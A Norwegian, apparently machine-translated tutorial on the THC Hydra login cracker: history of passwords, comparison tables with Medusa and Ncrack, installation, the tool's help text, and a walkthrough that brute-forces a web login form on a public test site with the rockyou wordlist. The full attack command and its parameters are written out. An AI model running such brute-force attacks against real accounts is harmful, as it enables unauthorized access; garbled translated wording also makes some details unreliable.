Et passord er teknisk definert som en hemmelig tegnrekke som brukes til å autentisere eller få tilgang til ressurser. Den må holdes hemmelig og skjules for andre som ikke har tilgang til disse ressursene. Passord har blitt brukt med datamaskiner siden de tidligste dagene med databehandling. Et av de første systemene for deling, ble introdusert i 1961. Den hadde en påloggingskommando som ba om et brukerpassord. Etter å ha skrevet PASSWORD, slår systemet av utskriftsmekanismen, hvis det er mulig, slik at brukeren kan skrive inn passordet sitt med personvern.
Styrken til et passord er en funksjon av lengde, kompleksitet og uforutsigbarhet. Den måler effektiviteten når det gjelder å gjette eller bryte den. Svake passord, derimot, forkorte tiden som er nødvendig for å gjette og få tilgang til personlig/bedriftens e-post, sensitive data som finansiell informasjon, forretningsinformasjon, kredittkort, etc.
Det er mange måter et passord kan være svakt som tilsvarer styrken til forskjellige angrepssystemer. Det mest populære av denne typen legitimasjonsangrep er brutal kraft. det er en prøve -og -feil -metode som gjetting, forsøk på å dekode krypterte data, slik passord eller datakryptering som brukes av applikasjonsprogram eller hackingverktøy.
Hydra er den raskeste påloggingsknekkeren for nettverk som støtter mange angrepsprotokoller. Det er veldig raskt og fleksibelt, og nye moduler er enkle å legge til. Dette verktøyet gjør det mulig for forskere og sikkerhetskonsulenter å vise hvor enkelt det ville være å få uautorisert tilgang til et system eksternt. Hydra ble skrevet av van Hauser og ble støttet av David Maciejak. I den siste oppdateringen flyttes hydra-utvikling til det offentlige github-depotet på: https://github.com/vanhauser-thc/thc-hydra.
Hydra ble testet for å kompilere på Linux, Windows/Cygwin, Solaris 11, FreeBSD 8.1, OpenBSD, OSX, QNX/Blackberry, og er gjort tilgjengelig under GPLv3 med en spesiell OpenSSL -lisensutvidelse.
THC Hydra støtter disse protokollene: Cisco AAA, Cisco auth, Cisco enable, CVS, FTP, HTTP (S) -FORM-GET, HTTP (S) -FORM-POST, HTTP (S) -GET, HTTP (S) -HEAD , HTTP-Proxy, ICQ, IMAP, IRC, LDAP, MS-SQL, MySQL, NNTP, Oracle Listener, Oracle SID, PC-Anywhere, PC-NFS, POP3, PostgreSQL, RDP, Rexec, Rlogin, Rsh, SIP, SMB (NT), SMTP, SMTP Enum, SNMP v1+v2+v3, SOCKS5, SSH (v1 og v2), SSHKEY, Subversion, Teamspeak (TS2), Telnet, VMware-Auth, VNC og XMPP.
SAMMENLIGNING AV HYDRA MED ANDRE KRAKTEVERKTØY
Det er også mange påloggingsverktøy ved siden av hydra, men ingen støtter en stor liste med protokoller og parallellpålogging for påloggings -krakker som hydra gjør. Tabellene nedenfor viser resultatet av funksjoner, tjenester og hastighetssammenligning mot medusa og ncrack.
Funksjoner
Trekk | Hydra | manet | Ncrack |
Tillatelse | AGPLv3 | GPLv2 | GPLv2 + Nmap -vilkår |
IPv6 -støtte | Ja | Nei | Nei |
Grafisk brukergrensesnitt | Ja | Ja | Nei |
Internasjonalisert støtte (RFC 4013) | Ja | Nei | Nei |
HTTP -proxy -støtte | Ja | Ja | Nei |
SOCKS proxy -støtte | Ja | Nei | Nei |
Støttede protokoller | 51 | 22 | 7 |
Tjenester
Service | Detaljer | Hydra | manet | Ncrack |
ADAM-6500 | Ja | Nei | Nei | |
AFP | Ja | Ja | Nei | |
Stjerne | Ja | Nei | Nei | |
Cisco passord | Ja | Nei | Nei | |
Cisco Aktiver | Ja | Nei | Nei | |
CVS | Ja | Ja | Nei | |
Firebird | Ja | Nei | Nei | |
FTP | Ja | Ja | Ja | |
SSL -støtte | AUTH TLS og FTP over SSL | AUTH TLS og FTP over SSL | Nei | |
HTTP | Metode (r) | FÅ, HODE, POST | FÅ | FÅ |
Grunnleggende godkjenning | Ja | Ja | Ja | |
HTTP -skjema | Metode (r) | FÅ POST | FÅ POST | Nei |
SSL -støtte | HTTPS | HTTPS | Nei | |
HTTP -proxy | Grunnleggende godkjenning | Ja | Nei | Nei |
DIGEST-MD5 Auth | Ja | Nei | Nei | |
NTLM Auth | Ja | Nei | Nei | |
SSL -støtte | HTTPS | Nei | Nei | |
Opplisting av HTTP -proxy -URL | Ja | Nei | Nei | |
ICQ | v5 | Ja 1 | Nei | Nei |
IMAP | LOGGING -støtte | Ja | Ja | Nei |
AUTH LOGIN -støtte | Ja | Nei | Nei | |
AUTH PLAIN -støtte | Ja | Ja | Nei | |
AUTH CRAM-MD5-støtte | Ja | Nei | Nei | |
AUTH CRAM-SHA1-støtte | Ja | Nei | Nei | |
AUTH CRAM-SHA256-støtte | Ja | Nei | Nei | |
AUTH DIGEST-MD5-støtte | Ja | Nei | Nei | |
AUTH NTLM -støtte | Ja | Ja | Nei | |
AUTH SCRAM-SHA1-støtte | Ja | Nei | Nei | |
SSL -støtte | IMAPS & STARTTLS | IMAPS & STARTTLS | Nei | |
IRC | Generelt serverpassord | Ja | Nei | Nei |
OPER -modus passord | Ja | Nei | Nei | |
LDAP | v2, enkel støtte | Ja | Nei | Nei |
v3, enkel støtte | Ja | Nei | Nei | |
v3, AUTH CRAM-MD5-støtte | Ja | Nei | Nei | |
AUTH DIGEST-MD5-støtte | Ja | |||
AUTH NTLM -støtte | Ja | Ja | ||
AUTH SCRAM-SHA1-støtte | Ja | |||
SSL -støtte | IMAPS & STARTTLS | IMAPS & STARTTLS | ||
IRC | Generelt serverpassord | Ja | ||
OPER -modus passord | Ja | |||
LDAP | v2, enkel støtte | Ja | ||
v3, enkel støtte | Ja | |||
v3, AUTH CRAM-MD5-støtte | Ja | |||
v3, AUTH DIGEST-MD5-støtte | Ja | |||
MS-SQL | Ja | Ja | ||
MySQL | v3.x | Ja | Ja | |
v4.x | Ja | Ja | ||
v5.x | Ja | Ja | ||
NCP | Ja | Ja | ||
NNTP | BRUKER -støtte | Ja | Ja | |
AUTH LOGIN -støtte | Ja | |||
AUTH PLAIN -støtte | Ja | |||
AUTH CRAM-MD5-støtte | Ja | |||
AUTH DIGEST-MD5-støtte | Ja | |||
AUTH NTLM -støtte | Ja | |||
SSL -støtte | STARTTLS & NNTP over SSL | |||
Oracle | Database | Ja | Ja | |
TNS Listener | Ja | |||
SID -oppregning | Ja | |||
PC-NFS | Ja | |||
pcAnywhere | Innfødt autentisering | Ja | Ja | |
OS -basert autentisering (MS) | Ja | |||
POP3 | BRUKER -støtte | Ja | Ja | Ja |
APOP -støtte | Ja | |||
AUTH LOGIN -støtte | Ja | Ja | ||
AUTH PLAIN -støtte | Ja | Ja | ||
AUTH CRAM-MD5-støtte | Ja | |||
AUTH CRAM-SHA1-støtte | Ja | |||
AUTH CRAM-SHA256-støtte | Ja | |||
AUTH DIGEST-MD5-støtte | Ja | |||
AUTH NTLM -støtte | Ja | Ja | ||
SSL -støtte | POP3S & STARTTLS | POP3S & STARTTLS | POP3S | |
PostgreSQL | Ja | Ja | ||
Stjerne | Ja | |||
RDP | Windows arbeidsstasjon | Ja | Ja | Ja |
Windows Server | Ja | Ja | ||
Domene Auth | Ja | Ja | ||
REDIS | Ja | Nei | ||
REXEC | Ja | Ja | ||
ROGINN | Ja | Ja | ||
RPCAP | Ja | Nei | ||
RSH | Ja | Ja | ||
RTSP | Ja | Nei | ||
SAP R / 3 | Ja | |||
Siemens S7-300 | Ja | |||
NIPPE | Ja | |||
SSL -støtte | SIP over SSL | |||
SMB | NetBIOS -modus | Ja | Ja | Nei |
W2K Native Mode | Ja | Ja | Ja | |
Hash -modus | Ja | Ja | Nei | |
Klar tekst aut | Ja | Ja | ||
LMv1 Auth | Ja | Ja | Ja | |
LMv2 Auth | Ja | Ja | Ja | |
NTLMv1 Auth | Ja | Ja | Ja | |
NTLMv2 Auth | Ja | Ja | Ja | |
SMTP | AUTH LOGIN -støtte | Ja | Ja | |
AUTH PLAIN -støtte | Ja | Ja | ||
AUTH CRAM-MD5-støtte | Ja | |||
AUTH DIGEST-MD5-støtte | Ja | |||
AUTH NTLM -støtte | Ja | Ja | ||
SSL -støtte | SMTPS & STARTTLS | SMTPS & STARTTLS | ||
SMTP -brukeroppføring | VRFY cmd | Ja | Ja | |
EXPN cmd | Ja | Ja | ||
RCPT TIL cmd | Ja | Ja | ||
SNMP | v1 | Ja | Ja | |
v2c | Ja | Ja | ||
v3 | (Kun MD5/SHA1 -godkjenning) | |||
SOKKER | v5, passordgodkjenning | Ja | ||
SSH | v1 | Ja | ||
v2 | Ja | Ja | Ja | |
SSH -nøkler | v1, v2 | Ja | ||
Subversion (SVN) | Ja | Ja | ||
TeamSpeak | TS2 | Ja | ||
Telnet | Ja | Ja | Ja | |
XMPP | AUTH LOGIN -støtte | Ja | ||
AUTH PLAIN -støtte | Ja | |||
AUTH CRAM-MD5-støtte | Ja | |||
AUTH DIGEST-MD5-støtte | Ja | |||
AUTH SCRAM-SHA1-støtte | Ja | |||
VMware Auth Daemon | v1.00 / v1.10 | Ja | Ja | |
SSL -støtte | Ja | Ja | ||
VNC | RFB 3.x passordstøtte | Ja | Ja | |
RFB 3.x bruker+passordstøtte | (Bare UltraVNC) | |||
RFB 4.x passordstøtte | Ja | Ja | ||
RFB 4.x bruker+passordstøtte | (Bare UltraVNC) |
Hastighets sammenligning
Hastighet (i s) | Hydra | manet | Ncrack |
1 Oppgave / FTP -modul | 11,93 | 12,97 | 18.01 |
4 oppgaver / FTP -modul | 4,20 | 5.24 | 9.01 |
16 Oppgaver / FTP -modul | 2,44 | 2,71 | 12.01 |
1 Oppgave / SSH v2 -modul | 32,56 | 33,84 | 45.02 |
4 Oppgaver / SSH v2 -modul | 10,95 | Gått i stykker | Savnet |
16 Oppgaver / SSH v2 -modul | 5.14 | Gått i stykker | Savnet |
Det var en kort enkel introduksjon til hydra. La oss nå gå videre til installasjonen.
INSTALLERE HYDRA
Hydra er forhåndsinstallert på kali linux, men hvis du har et annet operativsystem, kan du kompilere og installere det på systemet ditt. For tiden støtter hydra på forskjellige plattformer:
- Alle UNIX -plattformer (Linux, *bsd, Solaris, etc.)
- MacOS (i utgangspunktet en BSD -klon)
- Windows med Cygwin (både IPv4 og IPv6)
- Mobilsystemer basert på Linux, MacOS eller QNX (f.eks. Android, iPhone, Blackberry 10, Zaurus, iPaq)
For å laste ned, konfigurere, kompilere og installere hydra, bare skriv inn i terminalen:
git clone https://github.com/vanhauser-thc/thc-hydra.git cd thc-hydra ./configure make make install
Hvis du har Ubuntu/Debian trenger du noen avhengighetsbibliotek:
apt install libssl-dev libssh-dev libidn11-dev libpcre3-dev libgtk2.0-dev libmysqlclient-dev libpq-dev libsvn-dev firebird-dev libncp-dev
Hvis du ikke kunne finne disse bibliotekene i depotet ditt, må du laste ned og installere dem manuelt.
HVORDAN DU BRUKER HYDRA
Gratulerer, nå har du lyktes med å installere hydra på systemet ditt. Faktisk kommer Hydra med to smaker, GUI-gtk og min favoritt, CLI-versjon. og i tillegg har hydra også CLI-guidet versjon, den kalles hydra-veiviser. Du vil bli guidet trinn for trinn i stedet for å skrive inn alle kommandoene eller argumentene manuelt i terminalen. For å kjøre hydra, fra din terminaltype:
For CLI:
hydra
For CLI-veiviseren:
hydra-wizard
For GUI :
xhydra
Etter at du har skrevet ‘hydra’ vil det vise hjelpekommandoer som dette:
[email protected] :~# hydra -h Hydra v8.6 (c)2017 by van Hauser/THC & David Maciejak - for legal purposes only Syntax: hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e nsr] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-W TIME] [-f] [-s PORT] [-x MIN:MAX:CHARSET] [-SuvV46] [service://server[:PORT][/OPT]] Options: -R restore a previous aborted/crashed session -S perform an SSL connect -s PORT if the service is on a different default port, define it here -l LOGIN or -L FILE login with LOGIN name, or load several logins from FILE -p PASS or -P FILE try password PASS, or load several passwords from FILE -x MIN:MAX:CHARSET password bruteforce generation, type '-x -h' to get help -e nsr try 'n' null password, 's' login as pass and/or 'r' reversed login -u loop around users, not passwords (effective! implied with -x) -C FILE colon separated 'login:pass' format, instead of -L/-P options -M FILE list of servers to be attacked in parallel, one entry per line -o FILE write found login/password pairs to FILE instead of stdout -f / -F exit when a login/pass pair is found (-M: -f per host, -F global) -t TASKS run TASKS number of connects in parallel (per host, default: 16) -w / -W TIME waittime for responses (32s) / between connects per thread -4 / -6 prefer IPv4 (default) or IPv6 addresses -v / -V / -d verbose mode / show login+pass for each attempt / debug mode -U service module usage details server the target server (use either this OR the -M option) service the service to crack (see below for supported protocols) OPT some service modules support additional input (-U for module help) Supported services: asterisk afp cisco cisco-enable cvs firebird ftp ftps http[s]-head http[s]-post-form http-proxy http-proxy-urlenum icq imap[s] irc ldap2[s] ldap3[-crammd5][s] mssql mysql ncp nntp oracle-listener oracle-sid pcanywhere pcnfs pop3[s] postgres rdp rexec rlogin rsh s7-300 sip smb smtp[s] smtp-enum snmp socks5 ssh sshkey svn teamspeak telnet[s] vmauthd vnc xmpp Hydra is a tool to guess/crack valid login/password pairs - usage only allowed for legal purposes. This tool is licensed under AGPL v3.0. The newest version is always available at http://www.thc.org/thc-hydra These services were not compiled in: sapr3 oracle. Use HYDRA_PROXY_HTTP or HYDRA_PROXY - and if needed HYDRA_PROXY_AUTH - environment for a proxy setup. E.g.: % export HYDRA_PROXY=socks5://127.0.0.1:9150 (or socks4:// or connect://) % export HYDRA_PROXY_HTTP=http://proxy:8080 % export HYDRA_PROXY_AUTH=user:pass Examples: hydra -l user -P passlist.txt ftp://192.168.0.1 hydra -L userlist.txt -p defaultpw imap://192.168.0.1/PLAIN hydra -C defaults.txt -6 pop3s://[fe80::2c:31ff:fe12:ac11]:143/TLS:DIGEST-MD5 hydra -l admin -p password ftp://[192.168.0.0/24]/ hydra -L logins.txt -P pws.txt -M targets.txt ssh
Bruteforce nettbasert pålogging med hydra
Hydra støtter noen bruteforcing-tjenester som jeg nevnte tidligere, en av dem brukes til å bruteforce nettbaserte pålogginger som for eksempel påloggingsskjema for sosiale medier, brukerbasert påloggingsskjema, ruteren din nettbasert pålogging, etc. Det http [s] -get-form som vil håndtere denne forespørselen. I denne opplæringen skal jeg vise deg hvordan du kan bruteforce sårbare webinnlogginger. Før vi starter opp hydra, bør vi vite noen nødvendige argumenter som nedenfor:
- Mål : http://testasp.vulnweb.com/Login.asp?RetURL=%2FDefault%2Easp%3F
- Logg inn brukernavn : admin (hvis du ikke er sikker, bruteforce dette)
- Passordliste : Plasseringen av ordlistefillisten som inneholder mulige passord.
- Formparametere : Generelt, bruk manipuleringsdata eller proxy for å skaffe forespørselsparametere. Men her bruker jeg iceweasel, firefox -basert, nettverksutviklerverktøylinje.
- Servicemodul : http-post-skjema
Help for module http-post-form: ============================================================================ Module http-post-form requires the page and the parameters for the web form. By default this module is configured to follow a maximum of 5 redirections in a row. It always gathers a new cookie from the same URL without variables The parameters take three ':' separated values, plus optional values. (Note: if you need a colon in the option string as value, escape it with ':', but do not escape a '' with '\'.) Syntax: [url]:[form parameters]:[condition string][:(optional)[:(optional)] First is the page on the server to GET or POST to (URL). Second is the POST/GET variables (taken from either the browser, proxy, etc. with usernames and passwords being replaced in the '^USER^' and '^PASS^' placeholders (FORM PARAMETERS) Third is the string that it checks for an *invalid* login (by default) Invalid condition login check can be preceded by 'F=', successful condition login check must be preceded by 'S='. This is where most people get it wrong. You have to check the webapp what a failed string looks like and put it in this parameter! The following parameters are optional: C=/page/uri to define a different page to gather initial cookies from (h|H)=My-Hdr: foo to send a user defined HTTP header with each request ^USER^ and ^PASS^ can also be put into these headers! Note: 'h' will add the user-defined header at the end regardless it's already being sent by Hydra or not. 'H' will replace the value of that header if it exists, by the one supplied by the user, or add the header at the end Note that if you are going to put colons (:) in your headers you should escape them with a backslash (). All colons that are not option separators should be escaped (see the examples above and below). You can specify a header without escaping the colons, but that way you will not be able to put colons in the header value itself, as they will be interpreted by hydra as option separators.
Innhenting av innleggsparametere ved hjelp av nettleser, iceweasel/firefox
Trykk på tastene i Firefox -nettleseren ' CTRL + SKIFT + Q '. Åpne deretter nettpåloggingssidenhttp://testasp.vulnweb.com/Login.asp?RetURL=%2FDefault%2Easp%3F, vil du legge merke til at det vises tekst på nettverksutviklerfanen. Den forteller deg hvilke filer som overføres til oss. Se metoden er alle GET, siden vi ikke har lagt ut data ennå.
For å få parametrene etter skjemaet, skriv inn hva som helst i brukernavn og eller passord-skjemaet. Du vil legge merke til en ny POST -metode på nettverksutviklerfanen. Dobbeltklikk på den linjen, i kategorien Overskrifter klikker du på Rediger og send på nytt på høyre side. På Request Body kopierer du den siste linjen, for eksempel tfUName = asu & tfUPass = raimu . de tfUName og tfUPass er parametere vi trenger. Som sett nedenfor:
Kali linux har haug med ordlister, velg riktig ordliste eller bare bruk rockyou.txt sted i /usr/share/wordlists/ som sett nedenfor:
Ok, nå har vi alle argumentene vi trenger og klar til å fyre opp hydra. Her er kommandomønsteret:
hydra -l -P [/code] Finally, based on information we have gathered, our commands ahould look something like this: hydra -l admin -P /usr/share/wordlists/rockyou.txt testasp.vulnweb.com http-post-form '/Login.asp?RetURL=%2FDefault%2Easp%3F:tfUName=^USER^&tfUPass=^PASS^:S=logout' -vV -f
La oss bryte ned kommandoene:
- de : er et ord som inneholder brukernavn konto, bruk -L for å referere listen over mulige brukernavn i en fil.
- P : er en filliste over mulige passord, bruk -p for å bokstavelig talt bruke ett ord passord i stedet for å gjette det.
- testapp.vunlwebapp.com : er et vertsnavn eller mål
- http-post-skjema : er servicemodulen vi bruker
- /Login.asp?RetURL=%2FDefault%2Easp%3F:tfUName=^USER^&tfUPass=^PASS^:S=logout = de 3 parameterne som trengs, er syntaksen:
{side URL}: {Request post body form form parameters}: S = {Finn det du vil på siden etter at du har logget inn} - v = Oversiktlig modus
- V = vis pålogging: pass for hvert forsøk
- f = Avslutt programmet hvis pålogging for par: passord er funnet
La oss nå la hydra prøve å bryte passordet for oss, det trenger tid siden det er et ordbokangrep. Når du lyktes med å finne et par påloggingspassord: passord hydra vil umiddelbart avslutte jobben og vise gyldig legitimasjon.
Det er så mye som hydra kan gjøre, siden vi i denne opplæringen nettopp har lært hvordan vi bruteforce nettbasert pålogging ved hjelp av hydra, vi lærer bare en protokoll, det vil si http-post-form protokoll. Vi kan også bruke hydra mot en annen protokoll som ssh, ftp, telnet, VNC, proxy, etc.